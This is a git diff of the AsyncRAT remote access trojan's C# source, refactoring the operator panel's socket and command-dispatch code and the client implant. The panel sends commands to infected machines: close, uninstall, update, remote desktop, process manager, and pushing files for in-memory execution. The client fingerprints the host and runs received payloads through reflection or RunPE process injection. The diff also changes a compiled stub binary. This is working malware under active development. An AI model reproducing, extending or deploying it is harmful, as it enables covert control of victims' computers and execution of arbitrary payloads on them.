diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
index ade19cd..7f4f201 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
@@ -123,7 +123,7 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
foreach (Clients CL in Settings.Online.ToList())
{
- await Task.Run(() =>
+ await Task.Run(() =>
{
CL.BeginSend(msgpack.Encode2Bytes());
});
@@ -137,7 +137,7 @@ namespace AsyncRAT_Sharp
toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}";
}
- private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
+ private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@@ -145,16 +145,13 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "close";
foreach (ListViewItem C in listView1.SelectedItems)
{
- await Task.Run(() =>
- {
- Clients CL = (Clients)C.Tag;
- CL.BeginSend(msgpack.Encode2Bytes());
- });
+ Clients CL = (Clients)C.Tag;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
- private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
+ private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@@ -168,11 +165,8 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Message").AsString = Msgbox;
foreach (ListViewItem C in listView1.SelectedItems)
{
- await Task.Run(() =>
- {
- Clients CL = (Clients)C.Tag;
- CL.BeginSend(msgpack.Encode2Bytes());
- });
+ Clients CL = (Clients)C.Tag;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
@@ -194,12 +188,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Update").AsString = "false";
foreach (ListViewItem C in listView1.SelectedItems)
{
- await Task.Run(() =>
- {
- Clients CL = (Clients)C.Tag;
- CL.BeginSend(msgpack.Encode2Bytes());
- CL.LV.ForeColor = Color.Red;
- });
+ Clients CL = (Clients)C.Tag;
+ CL.LV.ForeColor = Color.Red;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
@@ -210,7 +201,7 @@ namespace AsyncRAT_Sharp
}
}
- private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
+ private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@@ -220,11 +211,8 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Packet").AsString = "uninstall";
foreach (ListViewItem C in listView1.SelectedItems)
{
- await Task.Run(() =>
- {
- Clients CL = (Clients)C.Tag;
- CL.BeginSend(msgpack.Encode2Bytes());
- });
+ Clients CL = (Clients)C.Tag;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
catch (Exception ex)
@@ -250,12 +238,9 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Update").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems)
{
- await Task.Run(() =>
- {
- Clients CL = (Clients)C.Tag;
- CL.BeginSend(msgpack.Encode2Bytes());
- CL.LV.ForeColor = Color.Red;
- });
+ Clients CL = (Clients)C.Tag;
+ CL.LV.ForeColor = Color.Red;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
@@ -266,7 +251,7 @@ namespace AsyncRAT_Sharp
}
}
- private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
+ private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@@ -292,12 +277,9 @@ namespace AsyncRAT_Sharp
foreach (ListViewItem C in listView1.SelectedItems)
{
- await Task.Run(() =>
- {
- Clients CL = (Clients)C.Tag;
- CL.BeginSend(msgpack.Encode2Bytes());
- CL.LV.ForeColor = Color.Red;
- });
+ Clients CL = (Clients)C.Tag;
+ CL.LV.ForeColor = Color.Red;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
SF.Close();
@@ -309,7 +291,7 @@ namespace AsyncRAT_Sharp
}
}
- private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
+ private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
@@ -321,28 +303,25 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Option").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems)
{
- await Task.Run(() =>
- {
- Clients CL = (Clients)C.Tag;
- CL.BeginSend(msgpack.Encode2Bytes());
+ Clients CL = (Clients)C.Tag;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
- this.BeginInvoke((MethodInvoker)(() =>
+ this.BeginInvoke((MethodInvoker)(() =>
+ {
+ RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
+ if (RD == null)
{
- RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
- if (RD == null)
+ RD = new RemoteDesktop
{
- RD = new RemoteDesktop
- {
- Name = "RemoteDesktop:" + CL.ID,
- F = this,
- Text = "RemoteDesktop:" + CL.ID,
- C = CL,
- Active = true
- };
- RD.Show();
- }
- }));
- });
+ Name = "RemoteDesktop:" + CL.ID,
+ F = this,
+ Text = "RemoteDesktop:" + CL.ID,
+ C = CL,
+ Active = true
+ };
+ RD.Show();
+ }
+ }));
}
}
catch (Exception ex)
@@ -353,7 +332,7 @@ namespace AsyncRAT_Sharp
}
- private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
+ private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
@@ -364,26 +343,23 @@ namespace AsyncRAT_Sharp
msgpack.ForcePathObject("Option").AsString = "List";
foreach (ListViewItem C in listView1.SelectedItems)
{
- await Task.Run(() =>
+ Clients CL = (Clients)C.Tag;
+ ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
+ this.BeginInvoke((MethodInvoker)(() =>
{
- Clients CL = (Clients)C.Tag;
- CL.BeginSend(msgpack.Encode2Bytes());
- this.BeginInvoke((MethodInvoker)(() =>
+ ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
+ if (PM == null)
{
- ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
- if (PM == null)
+ PM = new ProcessManager
{
- PM = new ProcessManager
- {
- Name = "processManager:" + CL.ID,
- Text = "processManager:" + CL.ID,
- F = this,
- C = CL
- };
- PM.Show();
- }
- }));
- });
+ Name = "processManager:" + CL.ID,
+ Text = "processManager:" + CL.ID,
+ F = this,
+ C = CL
+ };
+ PM.Show();
+ }
+ }));
}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs
index ec5153e..747eed5 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs
@@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms
private void timer1_Tick(object sender, EventArgs e)
{
- if (!C.Client.Connected) this.Close();
+ if (!C.ClientSocket.Connected) this.Close();
}
private async void killToolStripMenuItem_Click(object sender, EventArgs e)
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
index cefe314..b56fd80 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
@@ -32,7 +32,7 @@ namespace AsyncRAT_Sharp.Forms
private void timer1_Tick(object sender, EventArgs e)
{
- if (!C.Client.Connected) this.Close();
+ if (!C.ClientSocket.Connected) this.Close();
}
private void RemoteDesktop_Activated(object sender, EventArgs e)
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
index 4eb66cf..934f140 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
@@ -31,8 +31,8 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
Client.LV = new ListViewItem();
Client.LV.Tag = Client;
- Client.LV.Text = string.Format("{0}:{1}", Client.Client.RemoteEndPoint.ToString().Split(':')[0], Client.Client.LocalEndPoint.ToString().Split(':')[1]);
- string[] ipinf = cNewGeoUse.GetIpInf(Client.Client.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
+ Client.LV.Text = string.Format("{0}:{1}", Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], Client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
+ string[] ipinf = cNewGeoUse.GetIpInf(Client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
Client.LV.SubItems.Add(ipinf[1]);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe
index b4bfee7..08dd033 100644
Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe differ
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
index a67f2d3..cc82fbc 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
@@ -14,92 +14,94 @@ namespace AsyncRAT_Sharp.Sockets
{
class Clients
{
- public Socket Client { get; set; }
- private byte[] Buffer { get; set; }
- private long Buffersize { get; set; }
- private bool BufferRecevied { get; set; }
- private MemoryStream MS { get; set; }
+ public Socket ClientSocket { get; set; }
+ private byte[] ClientBuffer { get; set; }
+ private long ClientBuffersize { get; set; }
+ private bool ClientBufferRecevied { get; set; }
+ private MemoryStream ClientMS { get; set; }
public ListViewItem LV { get; set; }
private object SendSync { get; set; }
+ private object EndSendSync { get; set; }
public string ID { get; set; }
- public Clients(Socket CLIENT)
+ public Clients(Socket socket)
{
- if (Settings.Blocked.Contains(CLIENT.RemoteEndPoint.ToString().Split(':')[0]))
+ if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0]))
{
Disconnected();
return;
}
else
- HandleLogs.Addmsg($"Client {CLIENT.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
+ HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
- Client = CLIENT;
- Buffer = new byte[1];
- Buffersize = 0;
- BufferRecevied = false;
- MS = new MemoryStream();
+ ClientSocket = socket;
+ ClientBuffer = new byte[1];
+ ClientBuffersize = 0;
+ ClientBufferRecevied = false;
+ ClientMS = new MemoryStream();
LV = null;
SendSync = new object();
- Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
+ EndSendSync = new object();
+ ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
}
public async void ReadClientData(IAsyncResult ar)
{
try
{
- if (!Client.Connected)
+ if (!ClientSocket.Connected)
{
Disconnected();
return;
}
else
{
- int Recevied = Client.EndReceive(ar);
+ int Recevied = ClientSocket.EndReceive(ar);
if (Recevied > 0)
{
- if (BufferRecevied == false)
- if (Buffer[0] == 0)
+ if (ClientBufferRecevied == false)
+ if (ClientBuffer[0] == 0)
{
- Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
- MS.Dispose();
- MS = new MemoryStream();
- if (Buffersize > 0)
+ ClientBuffersize = Convert.ToInt64(Encoding.UTF8.GetString(ClientMS.ToArray()));
+ ClientMS.Dispose();
+ ClientMS = new MemoryStream();
+ if (ClientBuffersize > 0)
{
- Buffer = new byte[Buffersize];
- Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
- BufferRecevied = true;
+ ClientBuffer = new byte[ClientBuffersize];
+ Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
+ ClientBufferRecevied = true;
}
}
else
- await MS.WriteAsync(Buffer, 0, Buffer.Length);
+ await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
else
{
- await MS.WriteAsync(Buffer, 0, Recevied);
- if (MS.Length == Buffersize)
+ await ClientMS.WriteAsync(ClientBuffer, 0, Recevied);
+ Settings.Received += Recevied;
+ if (ClientMS.Length == ClientBuffersize)
{
- try
- {
- ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this });
- }
- catch (CryptographicException)
- {
- HandleLogs.Addmsg($"Client {Client.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
- Settings.Blocked.Add(Client.RemoteEndPoint.ToString().Split(':')[0]);
- Disconnected();
- return;
- }
- Settings.Received += MS.ToArray().Length;
- Buffer = new byte[1];
- Buffersize = 0;
- MS.Dispose();
- MS = new MemoryStream();
- BufferRecevied = false;
+ try
+ {
+ ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(ClientMS.ToArray()), this });
+ }
+ catch (CryptographicException)
+ {
+ HandleLogs.Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red);
+ Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
+ Disconnected();
+ return;
+ }
+ ClientBuffer = new byte[1];
+ ClientBuffersize = 0;
+ ClientMS.Dispose();
+ ClientMS = new MemoryStream();
+ ClientBufferRecevied = false;
}
else
- Buffer = new byte[Buffersize - MS.Length];
+ ClientBuffer = new byte[ClientBuffersize - ClientMS.Length];
}
- Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
+ ClientSocket.BeginReceive(ClientBuffer, 0, ClientBuffer.Length, SocketFlags.None, ReadClientData, null);
}
else
{
@@ -117,21 +119,26 @@ namespace AsyncRAT_Sharp.Sockets
public void Disconnected()
{
- if (LV != null)
- {
- if (Program.form1.listView1.InvokeRequired)
- Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
- {
- LV.Remove();
- }));
- lock (Settings.Online)
- Settings.Online.Remove(this);
- }
try
{
- MS?.Dispose();
- Client?.Dispose();
+ if (LV != null)
+ {
+ if (Program.form1.listView1.InvokeRequired)
+ Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
+ {
+ LV.Remove();
+ }));
+ lock (Settings.Online)
+ Settings.Online.Remove(this);
+ }
+ }
+ catch { }
+
+ try
+ {
+ ClientMS?.Dispose();
+ ClientSocket?.Dispose();
}
catch { }
}
@@ -140,7 +147,12 @@ namespace AsyncRAT_Sharp.Sockets
{
lock (SendSync)
{
- if (!Client.Connected)
+ if (ClientSocket == null)
+ {
+ Disconnected();
+ return;
+ }
+ if (!ClientSocket.Connected)
{
Disconnected();
return;
@@ -148,16 +160,12 @@ namespace AsyncRAT_Sharp.Sockets
try
{
- using (MemoryStream MEM = new MemoryStream())
- {
- byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
- byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
- MEM.Write(buffersize, 0, buffersize.Length);
- MEM.Write(buffer, 0, buffer.Length);
- Client.Poll(-1, SelectMode.SelectWrite);
- Client.BeginSend(MEM.ToArray(), 0, (int)MEM.Length, SocketFlags.None, EndSend, null);
- Settings.Sent += (long)MEM.Length;
- }
+ byte[] buffer = Settings.aes256.Encrypt((byte[])Msgs);
+ byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
+
+ ClientSocket.Poll(-1, SelectMode.SelectWrite);
+ ClientSocket.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
+ ClientSocket.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
}
catch
{
@@ -170,14 +178,20 @@ namespace AsyncRAT_Sharp.Sockets
public void EndSend(IAsyncResult ar)
{
- try
+ lock (EndSendSync)
{
- Client.EndSend(ar);
- }
- catch
- {
- Disconnected();
- return;
+ try
+ {
+ int sent = 0;
+ sent = ClientSocket.EndSend(ar);
+ Debug.WriteLine("/// Server Sent " + sent.ToString() + " Bytes ///");
+ Settings.Sent += sent;
+ }
+ catch
+ {
+ Disconnected();
+ return;
+ }
}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
index 0f4f881..96383b7 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
@@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Sockets
SendTimeout = -1,
};
Server.Bind(IpEndPoint);
- Server.Listen(20);
+ Server.Listen(30);
HandleLogs.Addmsg($"Listenning {port}", Color.Green);
Server.BeginAccept(EndAccept, null);
}
diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj
index e8f593b..95415b6 100644
--- a/AsyncRAT-C#/Client/Client.csproj
+++ b/AsyncRAT-C#/Client/Client.csproj
@@ -70,7 +70,8 @@
-
+
+
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs
index ad255bc..f21df47 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs
@@ -54,11 +54,11 @@ namespace Client.Handle_Packet
Thread thread = null;
if (Injection.Length == 0)
{
- thread = new Thread(new ParameterizedThreadStart(SendFile.SendToMemory));
+ thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection));
}
else
{
- thread = new Thread(new ParameterizedThreadStart(SendFile.RunPE));
+ thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE));
}
thread.Start(parameters);
}
diff --git a/AsyncRAT-C#/Client/Handle Packet/SendFile.cs b/AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs
similarity index 94%
rename from AsyncRAT-C#/Client/Handle Packet/SendFile.cs
rename to AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs
index 4eb2205..18faaf3 100644
--- a/AsyncRAT-C#/Client/Handle Packet/SendFile.cs
+++ b/AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs
@@ -5,9 +5,9 @@ using System.Runtime.InteropServices;
namespace Client.Handle_Packet
{
- class SendFile
+ class SendToMemory
{
- public static void SendToMemory(object obj)
+ public static void Reflection(object obj)
{
object[] Obj = (object[])obj;
byte[] Buffer = (byte[])Obj[0];
diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs
new file mode 100644
index 0000000..c1619b6
--- /dev/null
+++ b/AsyncRAT-C#/Client/Helper/Methods.cs
@@ -0,0 +1,30 @@
+using System;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace Client.Helper
+{
+ static class Methods
+ {
+ public static string HWID()
+ {
+ StringBuilder sb = new StringBuilder();
+ sb.Append(Environment.UserDomainName);
+ sb.Append(Environment.UserName);
+ sb.Append(Environment.MachineName);
+ sb.Append(Environment.Version);
+ return GetHash(sb.ToString());
+ }
+
+ public static string GetHash(string strToHash)
+ {
+ MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
+ byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
+ bytesToHash = md5Obj.ComputeHash(bytesToHash);
+ StringBuilder strResult = new StringBuilder();
+ foreach (byte b in bytesToHash)
+ strResult.Append(b.ToString("x2"));
+ return strResult.ToString().Substring(0, 12).ToUpper();
+ }
+ }
+}
diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
index ad0baf3..fdffdeb 100644
--- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
+++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs
@@ -8,6 +8,7 @@ using System.Text;
using System.Threading;
using System.Security.Cryptography;
using Client.Handle_Packet;
+using Client.Helper;
namespace Client.Sockets
{
@@ -22,6 +23,7 @@ namespace Client.Sockets
private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
private static object SendSync { get; set; }
+ private static object EndSendSync { get; set; }
public static bool Connected { get; set; }
public static void InitializeClient()
@@ -44,6 +46,7 @@ namespace Client.Sockets
BufferRecevied = false;
MS = new MemoryStream();
SendSync = new object();
+ EndSendSync = new object();
BeginSend(SendInfo());
TimerCallback T = CheckServer;
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
@@ -52,7 +55,6 @@ namespace Client.Sockets
catch
{
Debug.WriteLine("Disconnected!");
- Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
Connected = false;
}
}
@@ -76,7 +78,7 @@ namespace Client.Sockets
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
- msgpack.ForcePathObject("HWID").AsString = HWID();
+ msgpack.ForcePathObject("HWID").AsString = Methods.HWID();
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " +
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
@@ -85,28 +87,7 @@ namespace Client.Sockets
return msgpack.Encode2Bytes();
}
- private static string HWID()
- {
- StringBuilder sb = new StringBuilder();
- sb.Append(Environment.UserDomainName);
- sb.Append(Environment.UserName);
- sb.Append(Environment.MachineName);
- sb.Append(Environment.Version);
- return GetHash(sb.ToString());
- }
-
- private static string GetHash(string strToHash)
- {
- MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
- byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
- bytesToHash = md5Obj.ComputeHash(bytesToHash);
- StringBuilder strResult = new StringBuilder();
- foreach (byte b in bytesToHash)
- strResult.Append(b.ToString("x2"));
- return strResult.ToString().Substring(0, 12).ToUpper();
- }
-
- public static void ReadServertData(IAsyncResult ar)
+ public static void ReadServertData(IAsyncResult Iar)
{
try
{
@@ -116,14 +97,14 @@ namespace Client.Sockets
return;
}
- int Recevied = Client.EndReceive(ar);
+ int Recevied = Client.EndReceive(Iar);
if (Recevied > 0)
{
if (BufferRecevied == false)
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
- Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
+ Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
@@ -168,24 +149,14 @@ namespace Client.Sockets
{
lock (SendSync)
{
- if (!Client.Connected)
- {
- Connected = false;
- return;
- }
-
try
{
- using (MemoryStream MS = new MemoryStream())
- {
- byte[] buffer = Settings.aes256.Encrypt(Msg);
- byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
- MS.Write(buffersize, 0, buffersize.Length);
- MS.Write(buffer, 0, buffer.Length);
+ byte[] buffer = Settings.aes256.Encrypt(Msg);
+ byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + (char)0);
- Client.Poll(-1, SelectMode.SelectWrite);
- Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
- }
+ Client.Poll(-1, SelectMode.SelectWrite);
+ Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null);
+ Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null);
}
catch
{
@@ -197,14 +168,19 @@ namespace Client.Sockets
public static void EndSend(IAsyncResult ar)
{
- try
+ lock (EndSendSync)
{
- Client.EndSend(ar);
- }
- catch
- {
- Connected = false;
- return;
+ try
+ {
+ int sent = 0;
+ sent = Client.EndSend(ar);
+ Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///");
+ }
+ catch
+ {
+ Connected = false;
+ return;
+ }
}
}